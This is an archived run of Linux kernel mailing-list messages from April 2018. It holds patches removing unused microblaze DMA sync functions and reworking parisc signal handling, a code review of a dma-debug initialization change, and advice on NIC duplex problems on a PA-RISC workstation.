Date: Fri, 20 Apr 2018 10:03:03 +0200
Lines: 79
Approved: news@gmane.org
Message-ID: <20180420080313.18796-13-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1524211811 15582 195.159.176.226 (20 Apr 2018 08:10:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:10:11 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 10:10:06 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9R7M-0003u6-CO
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 10:10:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754476AbeDTIMK (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 04:12:10 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:40278 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754249AbeDTIEb (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 04:04:31 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=m6GA/Trk9SjAxyxKUe1neBo/6J1ldRwLSxslf9LBIeg=; b=QEfx43DX7xyHveiiG5cU+wxcJ
        Mg7F5mjvqHyubIqwKJCqSBpGKdNCyNXGpc+jXH4nO9yt7thCIuF4Rhy3f1RvMPqwvllTrOIL59jEw
        No7Oh4ku85KscBww2yKNwN3c/PBWWARhlnAJea1UzJiQ0qwuOvHwSt2GXdo4FTc5q1+q2mWocK1Xy
        bizvRNAQMZ/sBgo1BTbPk16/mEMC0B/AUSuaKgz8d5i+BPKeEhZ70GF1cwY2k51/ACDQPxswoRJC/
        kPBdwoTILYJTB7l7EL+S4Ws9MLtbBuwit00qWiGjGZ1EkSXaA66CPdBLYoEoaXnB3wmQGzarVP61F
    
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1f9R1R-0007YO-6Q; Fri, 20 Apr 2018 08:03:57 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746095 gmane.linux.kernel.cross-arch:43577 gmane.linux.ports.alpha:4976 gmane.linux.kernel.arc:3819 gmane.linux.ports.arm.kernel:644811 gmane.linux.ports.hexagon:1662 gmane.linux.ports.parisc:28534 gmane.linux.ports.sh.devel:56885 gmane.linux.ports.sparc:27702
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746095>

Both unused.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/microblaze/include/asm/pgtable.h |  3 --
 arch/microblaze/mm/consistent.c       | 45 ---------------------------
 2 files changed, 48 deletions(-)

diff --git a/arch/microblaze/include/asm/pgtable.h b/arch/microblaze/include/asm/pgtable.h
index 5174733fb489..ac6a37bd41ec 100644
--- a/arch/microblaze/include/asm/pgtable.h
+++ b/arch/microblaze/include/asm/pgtable.h
@@ -551,9 +551,6 @@ void __init *early_get_page(void);
 
 extern unsigned long ioremap_bot, ioremap_base;
 
-void consistent_sync(void *vaddr, size_t size, int direction);
-void consistent_sync_page(struct page *page, unsigned long offset,
-	size_t size, int direction);
 unsigned long consistent_virt_to_pfn(void *vaddr);
 
 void setup_memory(void);
diff --git a/arch/microblaze/mm/consistent.c b/arch/microblaze/mm/consistent.c
index b9a9c8c3397b..c9a278ac795a 100644
--- a/arch/microblaze/mm/consistent.c
+++ b/arch/microblaze/mm/consistent.c
@@ -220,48 +220,3 @@ void arch_dma_free(struct device *dev, size_t size, void *vaddr,
 	flush_tlb_all();
 #endif
 }
-
-/*
- * make an area consistent.
- */
-void consistent_sync(void *vaddr, size_t size, int direction)
-{
-	unsigned long start;
-	unsigned long end;
-
-	start = (unsigned long)vaddr;
-
-	/* Convert start address back down to unshadowed memory region */
-#ifdef CONFIG_XILINX_UNCACHED_SHADOW
-	start &= ~UNCACHED_SHADOW_MASK;
-#endif
-	end = start + size;
-
-	switch (direction) {
-	case PCI_DMA_NONE:
-		BUG();
-	case PCI_DMA_FROMDEVICE:	/* invalidate only */
-		invalidate_dcache_range(start, end);
-		break;
-	case PCI_DMA_TODEVICE:		/* writeback only */
-		flush_dcache_range(start, end);
-		break;
-	case PCI_DMA_BIDIRECTIONAL:	/* writeback and invalidate */
-		flush_dcache_range(start, end);
-		break;
-	}
-}
-EXPORT_SYMBOL(consistent_sync);
-
-/*
- * consistent_sync_page makes memory consistent. identical
- * to consistent_sync, but takes a struct page instead of a
- * virtual address
- */
-void consistent_sync_page(struct page *page, unsigned long offset,
-	size_t size, int direction)
-{
-	unsigned long start = (unsigned long)page_address(page) + offset;
-	consistent_sync((void *)start, size, direction);
-}
-EXPORT_SYMBOL(consistent_sync_page);
-- 
2.17.0



From - Thu Nov 08 21:41:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Ultra5 successful install - PGX64 issues
Date: Fri, 20 Apr 2018 11:24:26 +0200
Organization: Gentoo Foundation
Lines: 31
Approved: news@gmane.org
Message-ID: <20180420112426.3c8be653@wim.jer>
References: <CAFC0-0XVQUVHmM+TT4qUK_djRGx-eV+d=5FTpGyjRR40mwAv=Q@mail.gmail.com>
	<6a4e3490-dd3e-5832-43be-dba8211ce6e4@physik.fu-berlin.de>
	<dd60b1eb-595d-f208-2885-c958a5ff3a4c@blastwave.org>
	<16600fdc-6bba-1e2d-f106-560b8ea366c8@physik.fu-berlin.de>
	<9671ecea-1353-df1c-ebbd-24a5b7d3008b@oetec.com>
	<de1ac156-926a-c187-f15e-2c3da9251c82@web.de>
	<f34b2787-17e5-4fef-f028-543082ff95b6@gmx.de>
	<103f23dc-0d00-2ca1-fb98-271d1e03ad90@web.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524217207 21061 195.159.176.226 (20 Apr 2018 09:40:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 09:40:07 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, debian-hppa@lists.debian.org, linux-parisc
 <linux-parisc@vger.kernel.org>, Dennis Clarke <dc@oetec.com>
To: Frank Scheiner <frank.scheiner@web.de>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Fri Apr 20 11:40:03 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1f9SWQ-0005NN-HG
	for debian-hppa@m.gmane.org; Fri, 20 Apr 2018 11:40:02 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 9F223114; Fri, 20 Apr 2018 09:42:11 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Fri Apr 20 09:42:11 2018
Old-Return-Path: <jer@gentoo.org>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id BCAA35D
	for <lists-debian-hppa@bendel.debian.org>; Fri, 20 Apr 2018 09:25:25 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, RCVD_IN_DNSWL_HI=-5]
	autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id Ogrs05w1Z2Wj for <lists-debian-hppa@bendel.debian.org>;
	Fri, 20 Apr 2018 09:25:20 +0000 (UTC)
X-policyd-weight: using cached result; rate: -6.1
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client did not present a certificate)
	by bendel.debian.org (Postfix) with ESMTPS id 1D497CE
	for <debian-hppa@lists.debian.org>; Fri, 20 Apr 2018 09:25:04 +0000 (UTC)
Original-Received: from wim.jer (jer.xs4all.nl [212.238.182.54])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id 57023335C49;
	Fri, 20 Apr 2018 09:24:59 +0000 (UTC)
In-Reply-To: <103f23dc-0d00-2ca1-fb98-271d1e03ad90@web.de>
X-Mailer: Claws Mail 3.16.0git86 (GTK+ 2.24.31; x86_64-pc-linux-gnu)
X-Rc-Spam: 2008-11-04_01
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <dlKQxCNoJlP.A.FYF.zXb2aB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8708
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/20180420112426.3c8be653@wim.jer
Resent-Date: Fri, 20 Apr 2018 09:42:11 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7724 gmane.linux.ports.parisc:28535
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7724>

On Thu, 19 Apr 2018 21:29:45 +0200
Frank Scheiner <frank.scheiner@web.de> wrote:

> Afterwards I found some older notes about this machine which mention
> no issues during diskless operation with the very same configuration 
> (kernel and possibly also userland), which made me wonder, if there's 
> maybe an issue between the machine's built-in NIC and my used 1000
> Mbit network switch. And indeed, when connecting another 100 Mbit
> network switch in between the 712/80 and the 1000 Mbit network switch
> the issue seemed to be gone and the machine stayed accessible .
> 
> But later this week I retried the 712/80 with the current Linux
> kernel (4.15.x) and Debian userland and the issue hit me again,
> although much later and despite the 100 Mbit network switch in
> between. Looking at it I could see that the collision indicator was
> active on the switch for the port used by the 712/80. I then
> configured a singular port of the 1000 Mbit network switch to 10 Mbit
> full duplex and attached the 712/80 to it. And then the issue again
> seemed to be gone. But trying to install a package or updating the
> package cache again quickly triggered it.

You could try setting the internal NIC to half-duplex, or perhaps use a
(passive) 10BASE-T hub instead of a switch if you cannot configure that
internally, on the kernel command line, or doing it in userland is too
late.


Kind regards,
     jer



From - Thu Nov 08 21:41:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Robin Murphy <robin.murphy@arm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 01/22] dma-debug: move initialization to common code
Date: Fri, 20 Apr 2018 11:23:43 +0100
Lines: 89
Approved: news@gmane.org
Message-ID: <294a1469-01d6-10fb-5de1-b1d4513a066c@arm.com>
References: <20180420080313.18796-1-hch@lst.de>
 <20180420080313.18796-2-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524219712 28970 195.159.176.226 (20 Apr 2018 10:21:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 10:21:52 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: linux-arch@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        Michal Simek <monstr@monstr.eu>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
        linux-sh@vger.kernel.org, linux-hexagon@vger.kernel.org,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        openrisc@lists.librecores.org, Greentime Hu <green.hu@gmail.com>,
        linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
        nios2-dev@lists.rocketboards.org,
        linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 12:21:47 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9TAo-0007LN-Oc
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 12:21:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754626AbeDTKXy (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 06:23:54 -0400
Original-Received: from foss.arm.com ([217.140.101.70]:47582 "EHLO foss.arm.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754321AbeDTKXs (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 06:23:48 -0400
Original-Received: from usa-sjc-imap-foss1.foss.arm.com (unknown [10.72.51.249])
        by usa-sjc-mx-foss1.foss.arm.com (Postfix) with ESMTP id 2EB1080D;
        Fri, 20 Apr 2018 03:23:48 -0700 (PDT)
Original-Received: from [10.1.210.88] (e110467-lin.cambridge.arm.com [10.1.210.88])
        by usa-sjc-imap-foss1.foss.arm.com (Postfix) with ESMTPSA id 5A7563F25D;
        Fri, 20 Apr 2018 03:23:45 -0700 (PDT)
In-Reply-To: <20180420080313.18796-2-hch@lst.de>
Content-Language: en-GB
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746248 gmane.linux.kernel.cross-arch:43583 gmane.linux.ports.parisc:28536 gmane.linux.ports.sh.devel:56889 gmane.linux.ports.hexagon:1663 gmane.linux.ports.alpha:4977 gmane.linux.ports.sparc:27704 gmane.linux.kernel.arc:3821 gmane.linux.ports.arm.kernel:644864
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746248>

Hi Christoph,

Nice cleanup! Looks good overall, just a couple of nits.

On 20/04/18 09:02, Christoph Hellwig wrote:
[...]
> diff --git a/lib/dma-debug.c b/lib/dma-debug.c
> index 7f5cdc1e6b29..712a897174e4 100644
> --- a/lib/dma-debug.c
> +++ b/lib/dma-debug.c
> @@ -41,6 +41,11 @@
>   #define HASH_FN_SHIFT   13
>   #define HASH_FN_MASK    (HASH_SIZE - 1)
>   
> +/* allow architectures to override this if absolutely required */
> +#ifndef PREALLOC_DMA_DEBUG_ENTRIES
> +#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
> +#endif
> +
>   enum {
>   	dma_debug_single,
>   	dma_debug_page,
> @@ -1004,18 +1009,16 @@ void dma_debug_add_bus(struct bus_type *bus)
>   	bus_register_notifier(bus, nb);
>   }
>   
> -/*
> - * Let the architectures decide how many entries should be preallocated.
> - */
> -void dma_debug_init(u32 num_entries)
> +static int dma_debug_init(void)
>   {
> +	u32 num_entries;

Maybe initialise it to PREALLOC_DMA_DEBUG_ENTRIES?

>   	int i;
>   
>   	/* Do not use dma_debug_initialized here, since we really want to be
>   	 * called to set dma_debug_initialized
>   	 */
>   	if (global_disable)
> -		return;
> +		return 0;
>   
>   	for (i = 0; i < HASH_SIZE; ++i) {
>   		INIT_LIST_HEAD(&dma_entry_hash[i].list);
> @@ -1026,17 +1029,19 @@ void dma_debug_init(u32 num_entries)
>   		pr_err("DMA-API: error creating debugfs entries - disabling\n");
>   		global_disable = true;
>   
> -		return;
> +		return 0;
>   	}
>   
>   	if (req_entries)
>   		num_entries = req_entries;
> +	else
> +		num_entries = PREALLOC_DMA_DEBUG_ENTRIES;
>   
>   	if (prealloc_memory(num_entries) != 0) {
>   		pr_err("DMA-API: debugging out of memory error - disabled\n");
>   		global_disable = true;
>   
> -		return;
> +		return 0;
>   	}
>   
>   	nr_total_entries = num_free_entries;
> @@ -1044,7 +1049,9 @@ void dma_debug_init(u32 num_entries)
>   	dma_debug_initialized = true;
>   
>   	pr_info("DMA-API: debugging enabled by kernel config\n");
> +	return 0;
>   }
> +core_initcall(dma_debug_init);

I think it's worth noting that for most users this now happens much 
earlier than before. In general that's probably good (e.g. on arm64 it 
should prevent false-positives from the Arm SMMU drivers under ACPI), 
and I can't imagine it's high-risk, but it is a behaviour change.

Robin.

>   
>   static __init int dma_debug_cmdline(char *str)
>   {
> 


From - Thu Nov 08 21:41:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Eric W. Biederman" <ebiederm@xmission.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [REVIEW][PATCH 12/22] signal/parisc: Use force_sig_mceerr where appropriate
Date: Fri, 20 Apr 2018 09:38:01 -0500
Lines: 74
Approved: news@gmane.org
Message-ID: <20180420143811.9994-12-ebiederm@xmission.com>
References: <87604mhrnb.fsf@xmission.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1524235451 2546 195.159.176.226 (20 Apr 2018 14:44:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 14:44:11 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
        "Eric W. Biederman" <ebiederm@xmission.com>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 16:44:07 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9XGg-0000Zb-E4
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 16:44:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755396AbeDTOqO (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 10:46:14 -0400
Original-Received: from out03.mta.xmission.com ([166.70.13.233]:46792 "EHLO
        out03.mta.xmission.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1755171AbeDTOqD (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 10:46:03 -0400
Original-Received: from in02.mta.xmission.com ([166.70.13.52])
        by out03.mta.xmission.com with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
        (Exim 4.87)
        (envelope-from <ebiederm@xmission.com>)
        id 1f9XIY-00086a-0h; Fri, 20 Apr 2018 08:46:02 -0600
Original-Received: from [97.119.174.25] (helo=x220.int.ebiederm.org)
        by in02.mta.xmission.com with esmtpsa (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
        (Exim 4.87)
        (envelope-from <ebiederm@xmission.com>)
        id 1f9XE5-0006Ha-0n; Fri, 20 Apr 2018 08:41:25 -0600
X-Mailer: git-send-email 2.14.1
In-Reply-To: <87604mhrnb.fsf@xmission.com>
X-XM-SPF: eid=1f9XE5-0006Ha-0n;;;mid=<20180420143811.9994-12-ebiederm@xmission.com>;;;hst=in02.mta.xmission.com;;;ip=97.119.174.25;;;frm=ebiederm@xmission.com;;;spf=neutral
X-XM-AID: U2FsdGVkX19+7aR8UAOPisVR28mcInADRn2AZb7oPkk=
X-SA-Exim-Connect-IP: 97.119.174.25
X-SA-Exim-Mail-From: ebiederm@xmission.com
X-Spam-Report: * -1.0 ALL_TRUSTED Passed through trusted hosts only via SMTP
        *  1.5 TR_Symld_Words too many words that have symbols inside
        *  0.7 XMSubLong Long Subject
        *  1.5 XMNoVowels Alpha-numberic number with no vowels
        *  0.0 T_TM2_M_HEADER_IN_MSG BODY: No description available.
        *  0.8 BAYES_50 BODY: Bayes spam probability is 40 to 60%
        *      [score: 0.5000]
        * -0.0 DCC_CHECK_NEGATIVE Not listed in DCC
        *      [sa05 1397; Body=1 Fuz1=1 Fuz2=1]
        *  0.0 T_TooManySym_01 4+ unique symbols in subject
        *  1.0 XMSubMetaSx_00 1+ Sexy Words
X-Spam-DCC: XMission; sa05 1397; Body=1 Fuz1=1 Fuz2=1 
X-Spam-Combo: ****;linux-arch@vger.kernel.org
X-Spam-Relay-Country: 
X-Spam-Timing: total 261 ms - load_scoreonly_sql: 0.05 (0.0%),
        signal_user_changed: 2.7 (1.0%), b_tie_ro: 1.90 (0.7%), parse: 1.33 (0.5%),
        extract_message_metadata: 26 (9.8%), get_uri_detail_list: 3.2 (1.2%),
        tests_pri_-1000: 14 (5.3%), tests_pri_-950: 1.60 (0.6%), tests_pri_-900: 1.32
        (0.5%), tests_pri_-400: 24 (9.3%), check_bayes: 23 (8.8%), b_tokenize: 7
        (2.8%), b_tok_get_all: 6 (2.4%), b_comp_prob: 2.9 (1.1%), b_tok_touch_all:
        3.6 (1.4%), b_finish: 0.83 (0.3%), tests_pri_0: 182 (69.8%),
        check_dkim_signature: 0.56 (0.2%), check_dkim_adsp: 4.7 (1.8%),
        tests_pri_500: 4.3 (1.6%), rewrite_mail: 0.00 (0.0%)
X-SA-Exim-Version: 4.2.1 (built Thu, 05 May 2016 13:38:54 -0600)
X-SA-Exim-Scanned: Yes (on in02.mta.xmission.com)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746505 gmane.linux.kernel.cross-arch:43606 gmane.linux.ports.parisc:28537
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746505>

In do_page_fault where an mceerr is generated stop and call force_sig_mceerr.
Keeping the mcerr handling logic out of the force_sig_info call below.

This ensures that only and always in the mcerr case is lsb interesting.

This ensures setting set si_lsb in the future won't accidentally
stomp another siginfo field in the non mcerr case.

Cc: James Bottomley <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: linux-parisc@vger.kernel.org
Signed-off-by: "Eric W. Biederman" <ebiederm@xmission.com>
---
 arch/parisc/mm/fault.c | 30 +++++++++++++++---------------
 1 file changed, 15 insertions(+), 15 deletions(-)

diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 657b35096bd8..51215b0048ef 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -354,7 +354,6 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 
 	if (user_mode(regs)) {
 		struct siginfo si;
-		unsigned int lsb = 0;
 
 		clear_siginfo(&si);
 		switch (code) {
@@ -391,26 +390,27 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 
 #ifdef CONFIG_MEMORY_FAILURE
 		if (fault & (VM_FAULT_HWPOISON|VM_FAULT_HWPOISON_LARGE)) {
+			unsigned int lsb = 0;
 			printk(KERN_ERR
 	"MCE: Killing %s:%d due to hardware memory corruption fault at %08lx\n",
 			tsk->comm, tsk->pid, address);
-			si.si_signo = SIGBUS;
-			si.si_code = BUS_MCEERR_AR;
+			/*
+			 * Either small page or large page may be poisoned.
+			 * In other words, VM_FAULT_HWPOISON_LARGE and
+			 * VM_FAULT_HWPOISON are mutually exclusive.
+			 */
+			if (fault & VM_FAULT_HWPOISON_LARGE)
+				lsb = hstate_index_to_shift(VM_FAULT_GET_HINDEX(fault));
+			else if (fault & VM_FAULT_HWPOISON)
+				lsb = PAGE_SHIFT;
+
+			force_sig_mceerr(BUS_MCEERR_AR, (void __user *) address,
+					 lsb, current);
+			return;
 		}
 #endif
 
-		/*
-		 * Either small page or large page may be poisoned.
-		 * In other words, VM_FAULT_HWPOISON_LARGE and
-		 * VM_FAULT_HWPOISON are mutually exclusive.
-		 */
-		if (fault & VM_FAULT_HWPOISON_LARGE)
-			lsb = hstate_index_to_shift(VM_FAULT_GET_HINDEX(fault));
-		else if (fault & VM_FAULT_HWPOISON)
-			lsb = PAGE_SHIFT;
-		else
-			show_signal_msg(regs, code, address, tsk, vma);
-		si.si_addr_lsb = lsb;
+		show_signal_msg(regs, code, address, tsk, vma);
 
 		si.si_errno = 0;
 		si.si_addr = (void __user *) address;
-- 
2.14.1



From - Thu Nov 08 21:41:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Eric W. Biederman" <ebiederm@xmission.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [REVIEW][PATCH 13/22] signal/parisc: Use force_sig_fault where appropriate
Date: Fri, 20 Apr 2018 09:38:02 -0500
Lines: 340
Approved: news@gmane.org
Message-ID: <20180420143811.9994-13-ebiederm@xmission.com>
References: <87604mhrnb.fsf@xmission.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1524235645 15573 195.159.176.226 (20 Apr 2018 14:47:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 14:47:25 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
        "Eric W. Biederman" <ebiederm@xmission.com>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 16:47:21 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9XJn-0003XB-Kj
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 16:47:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755526AbeDTOt2 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 10:49:28 -0400
Original-Received: from out02.mta.xmission.com ([166.70.13.232]:44836 "EHLO
        out02.mta.xmission.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
